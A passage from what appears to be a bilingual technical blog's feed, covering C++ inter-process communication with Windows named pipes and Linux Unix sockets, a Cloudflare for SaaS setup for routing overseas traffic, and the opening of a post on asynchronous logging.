    if (WriteFile(hPipe, msg.c_str(), (DWORD)msg.size(), &amp;amp;bytesWritten, NULL)) {
        service_log.push(LEVEL_VERBOSE, &quot;Message sent: %s&quot;, msg.c_str());
        CloseHandle(hPipe);
        return true;
    }
    else {
        service_log.push(LEVEL_ERROR, &quot;Message (%s) send failed: %d&quot;, msg.c_str(),GetLastError());
        CloseHandle(hPipe);
        return false;
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Linux&lt;/h3&gt;
&lt;p&gt;同理，连接套接字，发送数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bool send_message(const std::string&amp;amp; msg) {
    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
    if (sock == -1) {
        service_log.push(LEVEL_ERROR, &quot;Failed to create socket&quot;);
        return false;
    }

    sockaddr_un addr{};
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);

    if (connect(sock, (sockaddr*)&amp;amp;addr, sizeof(addr)) == -1) {
        service_log.push(LEVEL_ERROR, &quot;Connect failed&quot;);
        close(sock);
        return false;
    }

    if (write(sock, msg.c_str(), msg.size()) == -1) {
        service_log.push(LEVEL_ERROR, &quot;Message send failed: %s&quot;, msg.c_str());
        close(sock);
        return false;
    }
    else {
        service_log.push(LEVEL_VERBOSE, &quot;Message sent success: %s&quot;, msg.c_str());
        close(sock);
        return true;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;清理&lt;/h2&gt;
&lt;p&gt;Windows下没什么需要清理的，Linux下删除套接字文件即可：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unlink(SOCKET_PATH);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;效果示意图&lt;/h1&gt;
&lt;h2&gt;Windows&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/05/2293568661.png&quot; alt=&quot;windows.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Linux&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/05/3846018055.png&quot; alt=&quot;linux.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;样例代码下载：
&lt;a href=&quot;/downloads/2025/05/3672377721.zip&quot;&gt;IPCTest.zip&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;https://learn.microsoft.com/zh-cn/windows/win32/ipc/pipes&lt;/li&gt;
&lt;li&gt;https://learn.microsoft.com/zh-cn/windows/win32/ipc/anonymous-pipes&lt;/li&gt;
&lt;li&gt;https://learn.microsoft.com/zh-cn/windows/win32/ipc/named-pipes&lt;/li&gt;
&lt;li&gt;https://www.cnblogs.com/alantu2018/p/8493809.html&lt;/li&gt;
&lt;li&gt;https://blog.csdn.net/dog250/article/details/100998838&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Cross-Platform Service Programming Diary Ep.2 - Inter-Process Communication (IPC)</title><link>https://blog.iyoroy.cn/posts/en-52/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-52/</guid><description>Adding IPC to a cross-platform C++ service with Windows named pipes and Linux Unix-domain sockets, including listener, sender, cleanup code, and a demo project.</description><pubDate>Mon, 19 May 2025 03:54:00 GMT</pubDate><content:encoded>&lt;h1&gt;Previously&lt;/h1&gt;
&lt;p&gt;The previous article implemented unified log management. This article implements inter-process message communication, i.e., IPC.&lt;/p&gt;
&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;h2&gt;Windows&lt;/h2&gt;
&lt;p&gt;On Windows, inter-process communication is primarily achieved through &lt;strong&gt;Pipes&lt;/strong&gt;. Pipes are further divided into &lt;strong&gt;Named Pipes&lt;/strong&gt; and &lt;strong&gt;Anonymous Pipes&lt;/strong&gt;. Anonymous pipes are &lt;strong&gt;unidirectional&lt;/strong&gt; and are typically used for communication between a parent and child process&amp;lt;sup&amp;gt;&lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows/win32/ipc/anonymous-pipes&quot;&gt;[2]&lt;/a&gt;&amp;lt;/sup&amp;gt;. Named pipes, however, can be unidirectional or duplex and support one-to-many communication&amp;lt;sup&amp;gt;&lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows/win32/ipc/named-pipes&quot;&gt;[3]&lt;/a&gt;&amp;lt;/sup&amp;gt;. As the name implies, the only way to identify a named pipe is by its name, so two processes can communicate as long as they connect to the named pipe with the same name.&lt;br /&gt;
We need to achieve bidirectional communication between processes, so we use named pipes. The general idea is: a process starts in server mode (receiver), creates a thread, creates a named pipe, and listens for messages within the pipe. When the pipe is connected, it reads data from it; when a process starts as a sender, it attempts to connect to a pipe with the same name and writes the message content.&lt;/p&gt;
&lt;h2&gt;Linux&lt;/h2&gt;
&lt;p&gt;On Linux, &lt;strong&gt;sockets&lt;/strong&gt; are typically used for inter-process communication. However, unlike listening on a port, IPC usually involves listening on a &lt;strong&gt;sock file&lt;/strong&gt;&amp;lt;sup&amp;gt;&lt;a href=&quot;https://blog.csdn.net/dog250/article/details/100998838&quot;&gt;[5]&lt;/a&gt;&amp;lt;/sup&amp;gt;. Common service applications like the Docker daemon and MySQL use this method.&lt;br /&gt;
Thus, the general idea is as follows: a process started in server mode creates a socket listener and waits to receive messages from it; the sender connects to the socket and sends a message. Similar to the name of the named pipe mentioned above, the socket maps to a unique .sock file. The sender just needs to open this file to send the message. (In practice, it&apos;s not opened in the conventional file manner but using socket-specific methods&amp;lt;sup&amp;gt;&lt;a href=&quot;https://blog.csdn.net/dog250/article/details/100998838&quot;&gt;[5]&lt;/a&gt;&amp;lt;/sup&amp;gt;.)&lt;/p&gt;
&lt;h1&gt;Code Implementation&lt;/h1&gt;
&lt;h2&gt;Initialization&lt;/h2&gt;
&lt;p&gt;To use a common main codebase, I used the same approach as the previous article, differentiating system types via macro definitions, placing the Windows and Linux code in the header files &lt;code&gt;service-windows.h&lt;/code&gt; and &lt;code&gt;service-linux.h&lt;/code&gt; respectively:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#ifdef _WIN32
#include &quot;service-windows.h&quot;
#elif defined(__linux__)
#include &quot;service-linux.h&quot;
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the receiver process starts, it creates a thread to handle message reception (using &lt;code&gt;std::thread&lt;/code&gt; as the multithreading library):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;thread_bind = std::thread(bind_thread_main);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Listener Section&lt;/h2&gt;
&lt;h3&gt;Windows&lt;/h3&gt;
&lt;p&gt;On Windows, we simply attempt to read data from a named pipe with a specified name. Because the pipe is set to &lt;strong&gt;blocking mode&lt;/strong&gt; (i.e., &lt;code&gt;PIPE_WAIT&lt;/code&gt; is set in the &lt;code&gt;DWORD dwPipeMode&lt;/code&gt; parameter of &lt;code&gt;CreateNamedPipe&lt;/code&gt; below), &lt;code&gt;ConnectNamedPipe&lt;/code&gt; will be blocking, so there&apos;s no need to worry about performance loss from constant looping.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void bind_thread_main() {
    while (!exit_requested.load()) {
        HANDLE hPipe = CreateNamedPipe(
            PIPE_NAME,
            PIPE_ACCESS_DUPLEX,
            PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
            PIPE_UNLIMITED_INSTANCES,
            1024,  // Output buffer size
            1024,  // Input buffer size
            0,     // Default timeout
            NULL);

        if (hPipe == INVALID_HANDLE_VALUE) {
            service_log.push(LEVEL_WARN, &quot;Failed to create pipe: %d&quot;, GetLastError());
            continue;
        }

        if (ConnectNamedPipe(hPipe, NULL) ||
            GetLastError() == ERROR_PIPE_CONNECTED) {

            char buffer[1024];
            DWORD bytesRead;

            if (ReadFile(hPipe, buffer, sizeof(buffer) - 1, &amp;amp;bytesRead, NULL)) {
                buffer[bytesRead] = &apos;\0&apos;;
                m_queueMsg.push(buffer);
                service_log.push(LEVEL_VERBOSE, &quot;Message received: %s&quot;, buffer);
            }

            FlushFileBuffers(hPipe);
            DisconnectNamedPipe(hPipe);
            CloseHandle(hPipe);
        }
        else {
            CloseHandle(hPipe);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Linux&lt;/h3&gt;
&lt;p&gt;To prevent creation failure, the code attempts to delete any leftover sock file that wasn&apos;t cleaned up before creation, i.e., &lt;code&gt;unlink(SOCKET_PATH)&lt;/code&gt; in the code. &lt;code&gt;SOCKET_PATH&lt;/code&gt; is a global variable defining the path to the socket file. When creating the socket, the family is specified as &lt;code&gt;AF_UNIX&lt;/code&gt;, indicating a UNIX socket (the &lt;code&gt;.sock&lt;/code&gt; file type; for network sockets it would be &lt;code&gt;AF_INET&lt;/code&gt;). The timeval code sets a timeout limit. If the accept function waits longer than the set &lt;code&gt;SOCKET_TIMEOUT&lt;/code&gt; (in seconds), it will automatically stop blocking and return an error. After creating the socket, proceed with the normal setup for binding and listening.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void bind_thread_main() {
    unlink(SOCKET_PATH);

    int server_fd = socket(AF_UNIX, SOCK_STREAM, 0);
    if (server_fd == -1) {
        service_log.push(LEVEL_FATAL, &quot;Failed to create socket&quot;);
        exit_requested.store(true);
        return;
    }

    struct timeval tv;
    tv.tv_sec = SOCKET_TIMEOUT;
    tv.tv_usec = 0;
    setsockopt(server_fd, SOL_SOCKET, SO_RCVTIMEO, &amp;amp;tv, sizeof(tv));

    sockaddr_un addr{};
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);

    if (bind(server_fd, (sockaddr*)&amp;amp;addr, sizeof(addr)) == -1) {
        service_log.push(LEVEL_FATAL, &quot;Bind failed&quot;);
        close(server_fd);
        exit_requested.store(true);
        return;
    }

    if (listen(server_fd, 5) == -1) {
        service_log.push(LEVEL_FATAL, &quot;Listen failed&quot;);
        close(server_fd);
        exit_requested.store(true);
        return;
    }

    while (!exit_requested.load()) {
        int client_fd = accept(server_fd, nullptr, nullptr);
        if (client_fd != -1) {
            char buffer[1024];
            int bytes_read = read(client_fd, buffer, sizeof(buffer) - 1);
            if (bytes_read &amp;gt; 0) {
                buffer[bytes_read] = &apos;\0&apos;;
                m_queueMsg.push(buffer);
                service_log.push(LEVEL_VERBOSE, &quot;Message received: %s&quot;, buffer);
            }
            close(client_fd);
        }
        else {
            if (errno == EWOULDBLOCK || errno == EAGAIN) {
                continue;
            }
            service_log.push(LEVEL_WARN, &quot;Failed to accept socket connection&quot;);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After reading a message, both code versions save the message to the blocking queue &lt;code&gt;m_queueMsg&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Sender Section&lt;/h2&gt;
&lt;h3&gt;Windows&lt;/h3&gt;
&lt;p&gt;Open the specified pipe and write the message content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bool send_message(const std::string&amp;amp; msg) {
    if (!WaitNamedPipe(PIPE_NAME, NMPWAIT_WAIT_FOREVER)) {
        service_log.push(LEVEL_ERROR, &quot;Failed to find valid pipe: %d&quot;, GetLastError());
        return false;
    }

    HANDLE hPipe = CreateFile(
        PIPE_NAME,
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
        service_log.push(LEVEL_ERROR, &quot;Failed to connect: %d&quot;, GetLastError());
        return false;
    }

    DWORD bytesWritten;
    if (WriteFile(hPipe, msg.c_str(), (DWORD)msg.size(), &amp;amp;bytesWritten, NULL)) {
        service_log.push(LEVEL_VERBOSE, &quot;Message sent: %s&quot;, msg.c_str());
        CloseHandle(hPipe);
        return true;
    }
    else {
        service_log.push(LEVEL_ERROR, &quot;Message (%s) send failed: %d&quot;, msg.c_str(),GetLastError());
        CloseHandle(hPipe);
        return false;
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Linux&lt;/h3&gt;
&lt;p&gt;Similarly, connect to the socket and send the data:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bool send_message(const std::string&amp;amp; msg) {
    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
    if (sock == -1) {
        service_log.push(LEVEL_ERROR, &quot;Failed to create socket&quot;);
        return false;
    }

    sockaddr_un addr{};
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);

    if (connect(sock, (sockaddr*)&amp;amp;addr, sizeof(addr)) == -1) {
        service_log.push(LEVEL_ERROR, &quot;Connect failed&quot;);
        close(sock);
        return false;
    }

    if (write(sock, msg.c_str(), msg.size()) == -1) {
        service_log.push(LEVEL_ERROR, &quot;Message send failed: %s&quot;, msg.c_str());
        close(sock);
        return false;
    }
    else {
        service_log.push(LEVEL_VERBOSE, &quot;Message sent success: %s&quot;, msg.c_str());
        close(sock);
        return true;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cleanup&lt;/h2&gt;
&lt;p&gt;There&apos;s little to clean up on Windows, but on Linux, the socket file needs to be deleted:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unlink(SOCKET_PATH);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Demo Screenshots&lt;/h1&gt;
&lt;h2&gt;Windows&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/05/2293568661.png&quot; alt=&quot;windows.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Linux&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/05/3846018055.png&quot; alt=&quot;linux.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sample code download:
&lt;a href=&quot;/downloads/2025/05/3672377721.zip&quot;&gt;IPCTest.zip&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;https://learn.microsoft.com/zh-cn/windows/win32/ipc/pipes&lt;/li&gt;
&lt;li&gt;https://learn.microsoft.com/zh-cn/windows/win32/ipc/anonymous-pipes&lt;/li&gt;
&lt;li&gt;https://learn.microsoft.com/zh-cn/windows/win32/ipc/named-pipes&lt;/li&gt;
&lt;li&gt;https://www.cnblogs.com/alantu2018/p/8493809.html&lt;/li&gt;
&lt;li&gt;https://blog.csdn.net/dog250/article/details/100998838&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>为博客启用Cloudflare SaaS接入实现国际分流</title><link>https://blog.iyoroy.cn/posts/58/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/58/</guid><description>为博客的境外访问接入 Cloudflare for SaaS，记录回退源、自定义主机名和 DCV 委派配置，再通过分地区 DNS 解析区分境内外入口。</description><pubDate>Thu, 15 May 2025 13:59:00 GMT</pubDate><content:encoded>&lt;p&gt;虽然Cloudflare CDN在国内访问速度不尽人意，但是用作国际线路的解析内容还是很够用的。然而Cloudflare很早就取消了CNAME接入的方式，因此本文主要讨论通过SaaS接入，因此需要一张信用卡激活Cloudflare SaaS。&lt;/p&gt;
&lt;h1&gt;准备材料&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;有效信用卡，需要有卡号、安全码，或者绑定了信用卡的PayPal。若不超过100个自定义主机名的限制则不会产生扣费。&lt;/li&gt;
&lt;li&gt;回退域名，和正常访问的域名不能是同一个（Cloudflare接入需要）&lt;/li&gt;
&lt;li&gt;正常访问域名&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;为了实现分大陆、境外地区单独解析，用作正常访问的域名不可以通过Cloudflare接入。&lt;br /&gt;
本文正常访问的域名为：&lt;code&gt;www.iyoroy.cn&lt;/code&gt;，回退域名为&lt;code&gt;nekonya.cloud&lt;/code&gt;。&lt;/p&gt;
&lt;h1&gt;过程&lt;/h1&gt;
&lt;h2&gt;回退域名接入&lt;/h2&gt;
&lt;p&gt;注册一个Cloudflare账户，按照官方教程将域名的DNS改到Cloudflare：
&lt;img src=&quot;./images/2025/05/4293983130.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Plan选择Free计划即可：
&lt;img src=&quot;./images/2025/05/1833896354.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按照要求修改NS记录：
&lt;img src=&quot;./images/2025/05/3396433691.png&quot; alt=&quot;3.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等到NS记录生效，即可通过Cloudflare管理回退域DNS。&lt;/p&gt;
&lt;h2&gt;绑定信用卡，启用SaaS&lt;/h2&gt;
&lt;p&gt;进入回退域名的Cloudflare控制台，打开左侧&lt;strong&gt;SSL/TLS&lt;/strong&gt;-&lt;strong&gt;自定义主机名&lt;/strong&gt;，点击&lt;strong&gt;启用Cloudflare for SaaS&lt;/strong&gt;：
&lt;img src=&quot;./images/2025/05/2805717324.png&quot; alt=&quot;4.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;填入你的信用卡信息并保存。接着激活SaaS计划：
&lt;img src=&quot;./images/2025/05/4044736086.png&quot; alt=&quot;5.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;创建回退域的解析、设置自定义主机名&lt;/h2&gt;
&lt;p&gt;进入左侧&lt;strong&gt;DNS&lt;/strong&gt;-&lt;strong&gt;记录&lt;/strong&gt;，创建一条解析，指向你的源服务器：
&lt;img src=&quot;./images/2025/05/2585065372.png&quot; alt=&quot;6.png&quot; /&gt;
此处我的回退域为&lt;code&gt;cname.nekonya.cloud&lt;/code&gt;，解析类型是CNAME，但是A、AAAA记录是也是完全可以的。记得要&lt;strong&gt;打开Cloudflare代理&lt;/strong&gt;以使用CF的CDN。&lt;/p&gt;
&lt;p&gt;接着，进入左侧&lt;strong&gt;SSL/TLS&lt;/strong&gt;-&lt;strong&gt;自定义主机名&lt;/strong&gt;，回退源填刚刚添加的那条回退域下的解析，即&lt;code&gt;cname.nekonya.cloud&lt;/code&gt;：
&lt;img src=&quot;./images/2025/05/347662002.png&quot; alt=&quot;7.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着点击&lt;strong&gt;添加自定义主机名&lt;/strong&gt;，并填写需要被访问的域名：
&lt;img src=&quot;./images/2025/05/2015036440.png&quot; alt=&quot;8.png&quot; /&gt;
证书验证方法推荐TXT记录，这样可以使用&lt;strong&gt;DCV委派&lt;/strong&gt;（详见下文&lt;strong&gt;设置DCV委派&lt;/strong&gt;章节）。&lt;/p&gt;
&lt;p&gt;接着需要验证域名所有权，按照要求填写TXT记录（我已经配置过了，因此创建一条test做演示）：
&lt;img src=&quot;./images/2025/05/3665836400.png&quot; alt=&quot;9.png&quot; /&gt;
因为下文要通过DCV验证获取证书，此处并没有添加证书相应记录。若不使用DCV委派，则将证书相关记录也这样设置解析。&lt;/p&gt;
&lt;p&gt;:::warning
注：在添加证书记录时务必不要刷新整个页面，不然解析记录内容会变。请使用选项内的刷新按钮。
:::&lt;/p&gt;
&lt;p&gt;待主机名状态变为&lt;strong&gt;有效&lt;/strong&gt;后即可删除这条（也许是几条）解析。&lt;/p&gt;
&lt;h2&gt;设置DCV委派&lt;/h2&gt;
&lt;p&gt;找到下方&lt;strong&gt;自定义主机名的 DCV 委派&lt;/strong&gt;，复制其中提供的解析值，到你的访问域名控制台，添加一条&lt;strong&gt;CNAME&lt;/strong&gt;记录，主机名为&lt;code&gt;_acme-challenge.www&lt;/code&gt;（此处和你的访问域名有关，我的访问域名是www.iyoroy.cn因此就是www。若是其他域名如test.iyoroy.cn，就填写_acme-challenge.test），记录值为Cloudflare提供的解析值前面加上你的hostname，即test.iyoroy.cn.xxxxxxx.dcv.cloudflare.com。
&lt;img src=&quot;./images/2025/06/2013446470.png&quot; alt=&quot;10.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;设置CNAME解析&lt;/h2&gt;
&lt;p&gt;进入你的访问域名控制台，为你要访问的域名添加相应解析记录。需要保证境外解析出来的内容是上文设置的回退源：
&lt;img src=&quot;./images/2025/05/438090393.png&quot; alt=&quot;11.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果正常，那么就能看到证书状态和域名状态都是有效：
&lt;img src=&quot;./images/2025/05/2956609381.png&quot; alt=&quot;12.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到：，测试时境外已经切换到Cloudflare：
&lt;img src=&quot;./images/2025/05/1788654493.png&quot; alt=&quot;13.png&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;本文使用的DNS管理系统为&lt;a href=&quot;https://github.com/netcccyun/dnsmgr&quot;&gt;netcccyun/dnsmgr&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Enabling Cloudflare SaaS Integration for International Traffic Routing on Your Blog</title><link>https://blog.iyoroy.cn/posts/en-58/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-58/</guid><description>Connecting overseas blog traffic to Cloudflare for SaaS with a fallback origin, custom hostname, and DCV delegation, alongside separate DNS answers for mainland China.</description><pubDate>Thu, 15 May 2025 13:59:00 GMT</pubDate><content:encoded>&lt;p&gt;While Cloudflare CDN&apos;s performance within mainland China leaves much to be desired, it remains highly capable for serving content to international audiences. However, Cloudflare phased out the traditional CNAME setup method some time ago. This article focuses on achieving a similar outcome using SaaS (SSL for SaaS) integration, which requires a credit card for activation.&lt;/p&gt;
&lt;h1&gt;Prerequisites&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;A valid credit card (with card number, security code) or a linked PayPal account. Note: You will not be charged if you stay under the 100 custom hostname limit.&lt;/li&gt;
&lt;li&gt;A Fallback Origin Domain – this must be different from your primary domain that visitors use to access your site (a requirement for Cloudflare setup).&lt;/li&gt;
&lt;li&gt;Your Primary Domain (the domain your visitors use).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To implement separate DNS resolution for mainland China and other regions, the primary domain used for normal access should not be added to Cloudflare directly via the usual &quot;Add a Site&quot; method.&lt;br /&gt;
In this guide, the primary domain is: &lt;code&gt;www.iyoroy.cn&lt;/code&gt;, and the fallback domain is: &lt;code&gt;nekonya.cloud&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;Process&lt;/h1&gt;
&lt;h2&gt;Adding the Fallback Domain to Cloudflare&lt;/h2&gt;
&lt;p&gt;Register a Cloudflare account and follow the standard procedure to change your domain&apos;s nameservers to Cloudflare&apos;s:
&lt;img src=&quot;./images/2025/05/4293983130.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Select the &lt;strong&gt;Free&lt;/strong&gt; plan:
&lt;img src=&quot;./images/2025/05/1833896354.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Update your domain&apos;s nameservers at your registrar as instructed:
&lt;img src=&quot;./images/2025/05/3396433691.png&quot; alt=&quot;3.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Wait for the nameserver changes to propagate. You can then manage the fallback domain&apos;s DNS through Cloudflare.&lt;/p&gt;
&lt;h2&gt;Adding Payment Method &amp;amp; Enabling SaaS&lt;/h2&gt;
&lt;p&gt;Inside the Cloudflare dashboard for your fallback domain, navigate to &lt;strong&gt;SSL/TLS&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Custom Hostnames&lt;/strong&gt;. Click &lt;strong&gt;Enable Cloudflare for SaaS&lt;/strong&gt;:
&lt;img src=&quot;./images/2025/05/2805717324.png&quot; alt=&quot;4.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Enter your credit card information and save it. Then, proceed to activate the SaaS plan:
&lt;img src=&quot;./images/2025/05/4044736086.png&quot; alt=&quot;5.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Creating DNS Record for Fallback Origin &amp;amp; Setting up Custom Hostnames&lt;/h2&gt;
&lt;p&gt;Go to &lt;strong&gt;DNS -&amp;gt; Records&lt;/strong&gt; in your fallback domain&apos;s dashboard. Create a new record pointing to your origin server:
&lt;img src=&quot;./images/2025/05/2585065372.png&quot; alt=&quot;6.png&quot; /&gt;
Here, my fallback origin is &lt;code&gt;cname.nekonya.cloud&lt;/code&gt;, using a CNAME record (A or AAAA records are also perfectly valid). Ensure the orange-cloud proxy is enabled to utilize Cloudflare&apos;s CDN.&lt;/p&gt;
&lt;p&gt;Next, go back to &lt;strong&gt;SSL/TLS -&amp;gt; Custom Hostnames&lt;/strong&gt;. In the Fallback Origin field, enter the record you just created (e.g., &lt;code&gt;cname.nekonya.cloud&lt;/code&gt;):&lt;br /&gt;
&lt;img src=&quot;./images/2025/05/347662002.png&quot; alt=&quot;7.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Click &lt;strong&gt;Add Custom Hostname&lt;/strong&gt; and enter your primary domain that visitors will use:&lt;br /&gt;
&lt;img src=&quot;./images/2025/05/2015036440.png&quot; alt=&quot;8.png&quot; /&gt;
The TXT record method is recommended for &lt;strong&gt;Domain Control Validation (DCV)&lt;/strong&gt;, as it allows for &lt;strong&gt;DCV Delegation&lt;/strong&gt; (see the next section).&lt;/p&gt;
&lt;p&gt;You will now need to verify ownership by adding the provided TXT record(s) to your primary domain&apos;s DNS (this example shows a test record for demonstration, as the actual one was already configured):&lt;br /&gt;
&lt;img src=&quot;./images/2025/05/3665836400.png&quot; alt=&quot;9.png&quot; /&gt;
Because we will use DCV delegation for ongoing certificate validation in the next step, do not add the specific certificate validation records here yet. If you were not using DCV delegation, you would add those records now.&lt;/p&gt;
&lt;p&gt;:::warning
Note: When adding certificate validation records, avoid refreshing the entire page, as the record contents might change. Use the refresh button within the options panel if needed.
:::&lt;/p&gt;
&lt;p&gt;Once the hostname status changes to &lt;strong&gt;Active&lt;/strong&gt;, you can safely remove the temporary TXT (and potentially CNAME) record(s) you added for the initial verification.&lt;/p&gt;
&lt;h2&gt;Setting up DCV Delegation&lt;/h2&gt;
&lt;p&gt;Locate the &lt;strong&gt;DCV Delegation for Custom Hostnames&lt;/strong&gt;section further down the same page. Copy the provided CNAME value. Go to your &lt;em&gt;primary domain&lt;/em&gt;&apos;s DNS management console and add a new &lt;strong&gt;CNAME&lt;/strong&gt; record.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hostname&lt;/strong&gt;: &lt;code&gt;_acme-challenge.www&lt;/code&gt;(This depends on your primary domain. For &lt;code&gt;www.iyoroy.cn&lt;/code&gt;, it&apos;s &lt;code&gt;_acme-challenge.www&lt;/code&gt;. For &lt;code&gt;test.iyoroy.cn&lt;/code&gt;, it would be &lt;code&gt;_acme-challenge.test&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Value&lt;/strong&gt;: The value provided by Cloudflare, prefixed with your hostname (e.g., &lt;code&gt;www.iyoroy.cn.xxxxxxxx.dcv.cloudflare.com&lt;/code&gt;).
&lt;img src=&quot;./images/2025/06/2013446470.png&quot; alt=&quot;10.png&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Configuring CNAME Record for Traffic Routing&lt;/h2&gt;
&lt;p&gt;In your primary domain&apos;s DNS management console, add a CNAME record for the subdomain you are using (e.g., www). Configure your DNS provider&apos;s Geolocation or Split DNS features to ensure that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Traffic from &lt;strong&gt;outside mainland China&lt;/strong&gt; resolves to the Fallback Origin you set in Cloudflare (e.g., &lt;code&gt;cname.nekonya.cloud&lt;/code&gt;).
&lt;img src=&quot;./images/2025/05/438090393.png&quot; alt=&quot;11.png&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If everything is configured correctly, you should see both the Certificate Status and Hostname Status as &lt;strong&gt;Active&lt;/strong&gt; in the Custom Hostnames section:
&lt;img src=&quot;./images/2025/05/2956609381.png&quot; alt=&quot;12.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Testing confirms that traffic from outside China is now routed through Cloudflare:
&lt;img src=&quot;./images/2025/05/1788654493.png&quot; alt=&quot;13.png&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The DNS management system used in this article is &lt;a href=&quot;https://github.com/netcccyun/dnsmgr&quot;&gt;netcccyun/dnsmgr&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>跨平台服务编写日记 Ep.1 统一的日志管理</title><link>https://blog.iyoroy.cn/posts/42/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/42/</guid><description>为跨平台服务尝试编写 C++ 异步日志模块，用阻塞队列和后台线程处理日志，支持分级及文件、控制台输出，附实验代码。</description><pubDate>Fri, 18 Apr 2025 16:19:00 GMT</pubDate><content:encoded>&lt;p&gt;前阵子心血来潮，想为在使用的一个跨平台的控制台服务类应用程序编写一个自己的管理程序，加一些功能。因而设计了一套简单的服务运行流程。&lt;/p&gt;
&lt;p&gt;:::warning
本系列文章中的观点和方案为我根据自己已有的知识储备结合DeepSeek的帮助所归纳设计，并未经过严格测试，并不保证在生产环境中使用的可行性和稳定性
:::&lt;/p&gt;
&lt;h1&gt;大致思路&lt;/h1&gt;
&lt;p&gt;大致分为个线程，分别用作：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;日志记录&lt;/li&gt;
&lt;li&gt;目标应用实例管理，可能不止一个线程&lt;/li&gt;
&lt;li&gt;监听IPC消息&lt;/li&gt;
&lt;li&gt;处理IPC收到的消息（主进程）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;本文着重讨论的是日志记录部分。&lt;/p&gt;
&lt;h1&gt;编写思路&lt;/h1&gt;
